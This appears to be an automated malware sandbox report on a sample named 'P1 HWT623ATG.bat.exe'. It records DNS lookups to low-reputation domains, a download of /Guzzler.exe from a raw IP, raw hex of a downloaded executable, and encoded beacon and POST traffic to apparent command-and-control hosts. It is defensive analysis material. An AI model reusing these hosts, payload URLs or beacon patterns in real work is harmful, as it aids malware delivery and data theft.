            Source: Binary string: wntdll.pdb source: P1 HWT623ATG.bat.exe, P1 HWT623ATG.bat.exe, 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1578452345.00000000038DE000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3721271151.0000000003A90000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1575491955.0000000003721000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3721271151.0000000003C2E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: compact.pdb source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576160374.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3718182571.0000000000718000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: mshtml.pdbUGP source: Smilet.exe, 00000028.00000001.3704245850.0000000000649000.00000020.00000001.01000000.00000014.sdmp
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 4x nop then jmp 0793AB4Ah1_2_0793A3CF
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeCode function: 4x nop then jmp 05A89DFAh10_2_05A8967F

            Networking

            barindex
            Performs DNS queries to domains with low reputation
            Source: DNS query: www.lenovest.xyz
            Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 05 Jun 2024 16:28:35 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 04 Jun 2024 18:51:40 GMTETag: "17d520-61a14f0b9e40f"Accept-Ranges: bytesContent-Length: 1561888Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad f1 28 81 e9 90 46 d2 e9 90 46 d2 e9 90 46 d2 2a 9f 19 d2 eb 90 46 d2 e9 90 47 d2 77 90 46 d2 2a 9f 1b d2 e6 90 46 d2 bd b3 76 d2 e3 90 46 d2 2e 96 40 d2 e8 90 46 d2 52 69 63 68 e9 90 46 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f0 d4 f6 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 64 00 00 00 7c 02 00 00 04 00 00 6b 32 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 50 0a 00 00 04 00 00 cf fb 17 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 85 00 00 a0 00 00 00 00 f0 03 00 30 51 06 00 00 00 00 00 00 00 00 00 e8 ca 17 00 38 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ff 62 00 00 00 10 00 00 00 64 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 4a 13 00 00 00 80 00 00 00 14 00 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 55 02 00 00 a0 00 00 00 06 00 00 00 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 f0 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 30 51 06 00 00 f0 03 00 00 52 06 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
            Source: Joe Sandbox ViewIP Address: 194.9.94.86 194.9.94.86
            Source: Joe Sandbox ViewIP Address: 162.0.213.94 162.0.213.94
            Source: Joe Sandbox ViewASN Name: ACPCA ACPCA
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: unknownTCP traffic detected without corresponding DNS query: 2.56.245.142
            Source: global trafficHTTP traffic detected: GET /l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMzQc+iQ+00df400Ki5pEb+b+RkpzmaC/oeJhPADFzgiJMLR5FtBl6eht1vjrsMq9ONCaKj3k5GiGvog+&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.futuregainers.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /41br/?G0a=VFN0vBc0ol1ljnb0&9d=65BU6tOk0p5LPOIIq5f29seWsrYdgC5c7tuB1xkwgoR5MWDkLOQgx5fJDEvOf4AlMkoVXixJXV15AbOmLh5rfhm5DYiSLYNIQJZpK4Rmnt3Mzv5831d4ZrhRkHRqInFW2dXaUcZHASEt HTTP/1.1Host: www.shopnow321.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /4mpz/?9d=Y+s3rA3a2LtNoPwWBpgaIhZOwJKcGGwPKC2uuWvM7lg96Y/Bosg4gpfl0qSHVI44Bh+XBT77oF2RMn9kUx4VpizPsaF86hmUooqlU0clf3MZo9yRfCdtfy1jNGRBq2V4+pMGerSvIMLN&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.klimkina.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /0a9p/?G0a=VFN0vBc0ol1ljnb0&9d=V8kIBUO99PR2h3hxIilGCb7xaYAlhXctAHbGwYfDKyusvK4qrRX5UHKQt8cO5YQS4wmk4tmPPEFmQcKp7F6SaRICxMFUNkXtPm1N7nAwt3H84qVeuxzzlvsq+rVjUlYjzq9gXVFKEYh8 HTTP/1.1Host: www.shahaf3d.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /3h10/?9d=9mZLXJL8GvO5ODxbtOpJ+rtZ6f1lqm3xC+OCFBImS8kNzrmbjyRfioF27F6qemRmHzSdXM7CT4wlEWpleIDtGTZ1FuoRBIGpq98dFU7vfHeXH9gl+ce92Dv1nZMBIpBNzTq2jDHLjtUw&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.againbeautywhiteskin.asiaAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /e20q/?9d=WPritX3A9R+ySLDHKkvQUC0K3y08yWvw5+tRT3chZ2wpNsEUE7uyewm5xlmwIO2sKs7uf3/86JENB8xtRbvRK6PKTUJmFuSnUKaTSFytHSrQj6qyTDgK0xjAREMwU5wVtegslCXYDiBq&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.lenovest.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /Guzzler.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like GeckoHost: 2.56.245.142Connection: Keep-AliveCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /2ha1/?G0a=VFN0vBc0ol1ljnb0&9d=r6q+x3A/FEQLw6gmNICl4m79J6xGYnb4MeLNvFaSJRcJ7hS0Yil9+YspC9bp8TGkQ6fd6C5Pq3eWOBjFGqN2LEX+h4RptWZDRuVlG4JzOnajShxrpz3BSvEogxiihZ9tHyNye+qQgWsY HTTP/1.1Host: www.931951.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /egr4/?9d=OombhWzhkCuNqFAQBgJWCTIe5Ku7zRL7Rc3Pxm83mLxAAziOmqPFMSLkiV9xX+4t83HRZJys59Cvhm/US+qC1S/tz9V2xJeiTRy2uMqSR06k3ZbbYlILY5knN9gwwCUqzf9nwI+FPnn/&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.srripaspocon.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /r45o/?9d=gzu5VRbRlKcxtienrOg/vYWmVRq4TNxrFroidVFNmLFBxOvIucJSpLXaDw+Y+myNYDD7xGaCks3CSH70SMI2pnLhFLXOBLrZylJOsjWCWApEJOKs/ooDCJFxqK6p3RZXycGtf6I8hj/U&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.torentreprenad.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /4iea/?9d=LPPTutp79E4NI/FTL4slzgCz9Mw5fMldsgpq5qffN1EY6wk4NmMiGrfPgNjCGewOe8/3zUEWliAlmzRgBncp/x6QXeu+cIhmsENqwLKbzAke2hCAvuJuIziLbcuyQtVHWzDtEtwuFhDD&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.grecanici.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /hcaw/?9d=Xa5/huFy8Eck4v8ee+xdjh1i7ba8Clp/lHr4KuxbDQUg1IaZpZOFGkNm4jxFFpbvuuzZpNiUUgQ/swG1ojXNpV/H8uI+lgidsfe724rSsodQ5uAfCV2elW9ENMTuv5SSVXQJAcj0qHHf&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.93v0.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: global trafficHTTP traffic detected: GET /mjuo/?9d=GUK7oVIRF3FAoVisjIpZqa7HO+54FDT9CfoAB53ViUuzbZ1TAtWa7LnCzENP06w/wd6reHxcMz42RIoq6sWsgYEYCrnoxIy0wOTor1QdDe9x8GrLmxcBWSK4ygqmUmz0vTBYLSkIKLnt&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1Host: www.leadchanges.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: Content-Security-Policy: upgrade-insecure-requests; default-src data: 'unsafe-inline' 'unsafe-eval' https:; script-src data: 'unsafe-inline' 'unsafe-eval' https: blob: https://www.googleanalytics.com https://www.google-analytics.com https://www.googleoptimize.com https://optimize.google.com https://td.doubleclick.net https://fburl.com https://www.facebook.com https://connect.facebook.net; style-src data: 'unsafe-inline' https: https://optimize.google.com https://fonts.googleapis.com https://w.ladicdn.com https://s.ladicdn.com; img-src data: https: blob: android-webview-video-poster: https://www.google-analytics.com https://www.googletagmanager.com https://optimize.google.com https://w.ladicdn.com https://s.ladicdn.com; font-src data: https: https://fonts.gstatic.com https://w.ladicdn.com https://s.ladicdn.com; connect-src https: wss: blob:; media-src data: https: blob:; object-src https:; child-src https: data: blob:; form-action https:; frame-ancestors https://popupx.ladi.me https://*.ladi.me https://s.ladicdn.com https://g.ladicdn.com https://w.ladicdn.com https://*.ladicdn.com https://www.facebook.com https://*.facebook.com equals www.facebook.com (Facebook)
            Source: global trafficDNS traffic detected: DNS query: www.fr2e4o.cfd
            Source: global trafficDNS traffic detected: DNS query: www.futuregainers.net
            Source: global trafficDNS traffic detected: DNS query: www.shopnow321.online
            Source: global trafficDNS traffic detected: DNS query: www.klimkina.pro
            Source: global trafficDNS traffic detected: DNS query: www.shahaf3d.com
            Source: global trafficDNS traffic detected: DNS query: www.againbeautywhiteskin.asia
            Source: global trafficDNS traffic detected: DNS query: www.homeppower.com
            Source: global trafficDNS traffic detected: DNS query: www.lenovest.xyz
            Source: global trafficDNS traffic detected: DNS query: www.931951.com
            Source: global trafficDNS traffic detected: DNS query: www.srripaspocon.org
            Source: global trafficDNS traffic detected: DNS query: www.x5hh186z.skin
            Source: global trafficDNS traffic detected: DNS query: www.torentreprenad.com
            Source: global trafficDNS traffic detected: DNS query: www.grecanici.com
            Source: global trafficDNS traffic detected: DNS query: www.navigate-power.boats
            Source: global trafficDNS traffic detected: DNS query: www.93v0.com
            Source: global trafficDNS traffic detected: DNS query: www.leadchanges.info
            Source: unknownHTTP traffic detected: POST /41br/ HTTP/1.1Host: www.shopnow321.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedCache-Control: no-cacheContent-Length: 215Origin: http://www.shopnow321.onlineReferer: http://www.shopnow321.online/41br/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like GeckoData Raw: 39 64 3d 33 37 70 30 35 5a 32 48 6a 6f 4d 6f 41 65 68 44 73 72 79 72 34 66 47 6b 71 2f 63 72 32 69 6c 56 31 4f 6d 50 36 78 6c 6b 6a 65 67 55 63 48 37 63 54 36 46 4c 77 72 76 52 5a 30 37 79 58 74 63 6c 4b 68 51 74 50 78 59 78 54 42 77 6b 53 61 79 65 49 53 30 7a 51 79 57 43 4a 72 75 36 42 71 78 5a 51 4a 74 4c 58 35 46 50 75 63 50 58 36 76 5a 46 39 54 64 37 58 35 63 64 6e 79 5a 72 53 58 51 34 7a 38 7a 75 66 73 63 47 44 67 38 34 5a 68 43 59 6e 34 35 35 4c 4e 48 65 79 77 6e 4d 76 42 48 31 63 36 4c 75 49 4b 51 77 6a 6c 47 2f 53 50 6d 37 41 5a 30 36 56 30 79 79 2f 45 4f 52 58 44 2f 72 42 6d 74 6b 6e 64 35 44 49 4f 78 70 4e 65 6e 6a 42 67 3d 3d Data Ascii: 9d=37p05Z2HjoMoAehDsryr4fGkq/cr2ilV1OmP6xlkjegUcH7cT6FLwrvRZ07yXtclKhQtPxYxTBwkSayeIS0zQyWCJru6BqxZQJtLX5FPucPX6vZF9Td7X5cdnyZrSXQ4z8zufscGDg84ZhCYn455LNHeywnMvBH1c6LuIKQwjlG/SPm7AZ06V0yy/EORXD/rBmtknd5DIOxpNenjBg==
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:27:17 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 03 Oct 2022 20:19:07 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 836Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 92 cd 6e db 46 10 c7 ef 05 f2 0e 1b 9e bd a2 65 45 1f 2e 48 01 a9 e3 3a bd 24 41 9b 00 ed a9 58 2d 47 e4 a0 bb 3b cc ee 90 92 fb 36 46 0e 05 0a f4 29 f4 62 5d da b2 4d 2a 4e 0b c7 39 50 9a e1 cc fc 66 fe 9c c9 9e bf 7a 7b f6 fe b7 77 e7 a2 62 6b 96 cf be cb ba 7f 61 94 2b f3 a4 66 f9 c3 cf 49 7c 29 44 56 81 2a ae ad 68 5b 60 25 74 a5 7c 00 ce 93 0f ef 7f 94 8b 64 10 ab 98 6b 09 1f 1b 6c f3 e4 57 f9 e1 a5 3c 23 5b 2b c6 95 81 44 68 72 0c 2e 16 fe 74 9e 43 51 c2 b0 d4 29 0b 79 d2 22 6c 6a f2 dc cb de 60 c1 55 5e 40 8b 1a e4 b5 73 24 d0 21 a3 32 32 68 65 20 1f 3f 44 5a 93 b7 8a 65 01 0c 9a 91 5c 8f c8 60 a0 ae c8 41 ee e8 a1 52 4f 2b e2 d0 2b 70 84 ae 80 ed 5d 2e 23 1b 58 be a6 50 43 a1 4a b0 a2 00 f1 0b 32 c4 0a 2b 5e 91 dd fd e3 90 c4 85 df 5d 31 06 21 45 cc e4 0b c5 e4 b3 f4 a6 74 cf 31 e8 fe 10 1e 4c 9e 84 2a 8a d6 0d 0b d4 dd a8 95 87 75 9e a4 ba 44 19 2e 43 8a 36 76 09 e9 5a b5 5d f8 ce 18 c5 9f e4 73 d6 63 10 72 72 32 aa 5d 99 88 80 7f 42 c8 93 c9 c9 76 72 f2 54 e6 74 3e 60 4e e7 db e9 fc a9 cc f9 6c c0 9c cf b6 f3 d9 53 99 a7 43 e6 e9 6c 7b fa 64 e6 f8 64 31 80 46 7f 1b 9f 07 b0 5f b5 72 39 3e 1d 2e 2c fa db f8 3c c0 57 75 6d 40 32 35 ba 92 8f 94 70 7c 20 e1 38 4a 38 fe a6 2d a6 07 2a a6 51 c5 f4 db aa 58 1c a8 58 44 15 8b 03 15 07 2c 1d 42 ba 22 e2 c0 5e d5 23 8b 6e 14 df 24 fb 75 f1 a5 81 50 01 f0 ff 22 d6 e4 38 7c 5d a9 6e 02 93 fd fd c5 f1 8b ff a8 cf d2 0a 54 71 63 ae a8 b8 bc 85 16 d8 0a 6d 54 88 6a e3 17 60 85 0e bc 08 b5 d2 70 db 77 98 e4 69 73 1f 38 ac 37 72 1b e2 29 88 ce 0a 56 4e fb 99 31 b7 9a 2c cf bd 27 11 27 8d e3 4c 0e 82 e3 65 16 bf 21 b9 72 f9 b6 0e 47 59 ba 77 b2 95 5f be d9 7d 22 01 ae 1b d0 2b 4b a1 7b 07 21 28 51 ef ae 4a 74 ea 79 c4 8d 87 b8 7a f9 4e 79 d0 20 3e 36 20 ee 12 af bd 96 f4 ee 6f 01 81 77 57 a2 f6 a4 1b af 5c 41 62 4d 28 2c b5 58 28 41 8d 70 8d d3 4a c0 16 03 63 73 24 34 78 c6 35 c6 72 19 6e 98 05 96 18 4f 4c 74 83 15 e0 61 f7 17 45 dd de 03 2b 0b 8e a1 83 04 28 1b 6c 44 63 c5 f5 ee da dd 95 c1 82 46 59 5a 0f 87 55 fb b5 56 cc 75 f8 3e 4d 37 9b cd a8 a2 c0 a5 62 f2 23 4d 76 b4 f2 89 60 64 03 79 f2 3a 06 2e ba 40 b2 3c 23 57 c5 c6 4a 3a 0a f1 1b a8 21 b5 b7 1a 43 25 0d 97 11 e3 68 4b 11 bc ee 5d 13 5a 55 42 48 bb 6c 79 df 3f b4 65 22 94 e1 41 eb 41 a7 34 b6 ea 1f c5 a1 df 9b a4 c2 a2 00 17 ef e4 f6 48 c6 c9 f2 51 f9 b3 83 de 5f 54 81 c6 34 f1 86 14 23 39 19 4f ee 46 c7 67 d8 58 2f 3d 84 9a 5c c0 16 c4 5e 69 bf 38 f9 a2 b4 be 77 6f 67 e9 8a 8a cb 68 c6 ab 64 6b a2 f1 2f 66 df cc 8d 39 09 00 00 Data Ascii: nFeE.H:$AX-G;6F)b]M*N9Pfz{wbka+fI|)DV*h[`%t|dklW<#[+Dhr.tCQ)y"lj`U^@
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:27:19 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 03 Oct 2022 20:19:07 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 836Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 92 cd 6e db 46 10 c7 ef 05 f2 0e 1b 9e bd a2 65 45 1f 2e 48 01 a9 e3 3a bd 24 41 9b 00 ed a9 58 2d 47 e4 a0 bb 3b cc ee 90 92 fb 36 46 0e 05 0a f4 29 f4 62 5d da b2 4d 2a 4e 0b c7 39 50 9a e1 cc fc 66 fe 9c c9 9e bf 7a 7b f6 fe b7 77 e7 a2 62 6b 96 cf be cb ba 7f 61 94 2b f3 a4 66 f9 c3 cf 49 7c 29 44 56 81 2a ae ad 68 5b 60 25 74 a5 7c 00 ce 93 0f ef 7f 94 8b 64 10 ab 98 6b 09 1f 1b 6c f3 e4 57 f9 e1 a5 3c 23 5b 2b c6 95 81 44 68 72 0c 2e 16 fe 74 9e 43 51 c2 b0 d4 29 0b 79 d2 22 6c 6a f2 dc cb de 60 c1 55 5e 40 8b 1a e4 b5 73 24 d0 21 a3 32 32 68 65 20 1f 3f 44 5a 93 b7 8a 65 01 0c 9a 91 5c 8f c8 60 a0 ae c8 41 ee e8 a1 52 4f 2b e2 d0 2b 70 84 ae 80 ed 5d 2e 23 1b 58 be a6 50 43 a1 4a b0 a2 00 f1 0b 32 c4 0a 2b 5e 91 dd fd e3 90 c4 85 df 5d 31 06 21 45 cc e4 0b c5 e4 b3 f4 a6 74 cf 31 e8 fe 10 1e 4c 9e 84 2a 8a d6 0d 0b d4 dd a8 95 87 75 9e a4 ba 44 19 2e 43 8a 36 76 09 e9 5a b5 5d f8 ce 18 c5 9f e4 73 d6 63 10 72 72 32 aa 5d 99 88 80 7f 42 c8 93 c9 c9 76 72 f2 54 e6 74 3e 60 4e e7 db e9 fc a9 cc f9 6c c0 9c cf b6 f3 d9 53 99 a7 43 e6 e9 6c 7b fa 64 e6 f8 64 31 80 46 7f 1b 9f 07 b0 5f b5 72 39 3e 1d 2e 2c fa db f8 3c c0 57 75 6d 40 32 35 ba 92 8f 94 70 7c 20 e1 38 4a 38 fe a6 2d a6 07 2a a6 51 c5 f4 db aa 58 1c a8 58 44 15 8b 03 15 07 2c 1d 42 ba 22 e2 c0 5e d5 23 8b 6e 14 df 24 fb 75 f1 a5 81 50 01 f0 ff 22 d6 e4 38 7c 5d a9 6e 02 93 fd fd c5 f1 8b ff a8 cf d2 0a 54 71 63 ae a8 b8 bc 85 16 d8 0a 6d 54 88 6a e3 17 60 85 0e bc 08 b5 d2 70 db 77 98 e4 69 73 1f 38 ac 37 72 1b e2 29 88 ce 0a 56 4e fb 99 31 b7 9a 2c cf bd 27 11 27 8d e3 4c 0e 82 e3 65 16 bf 21 b9 72 f9 b6 0e 47 59 ba 77 b2 95 5f be d9 7d 22 01 ae 1b d0 2b 4b a1 7b 07 21 28 51 ef ae 4a 74 ea 79 c4 8d 87 b8 7a f9 4e 79 d0 20 3e 36 20 ee 12 af bd 96 f4 ee 6f 01 81 77 57 a2 f6 a4 1b af 5c 41 62 4d 28 2c b5 58 28 41 8d 70 8d d3 4a c0 16 03 63 73 24 34 78 c6 35 c6 72 19 6e 98 05 96 18 4f 4c 74 83 15 e0 61 f7 17 45 dd de 03 2b 0b 8e a1 83 04 28 1b 6c 44 63 c5 f5 ee da dd 95 c1 82 46 59 5a 0f 87 55 fb b5 56 cc 75 f8 3e 4d 37 9b cd a8 a2 c0 a5 62 f2 23 4d 76 b4 f2 89 60 64 03 79 f2 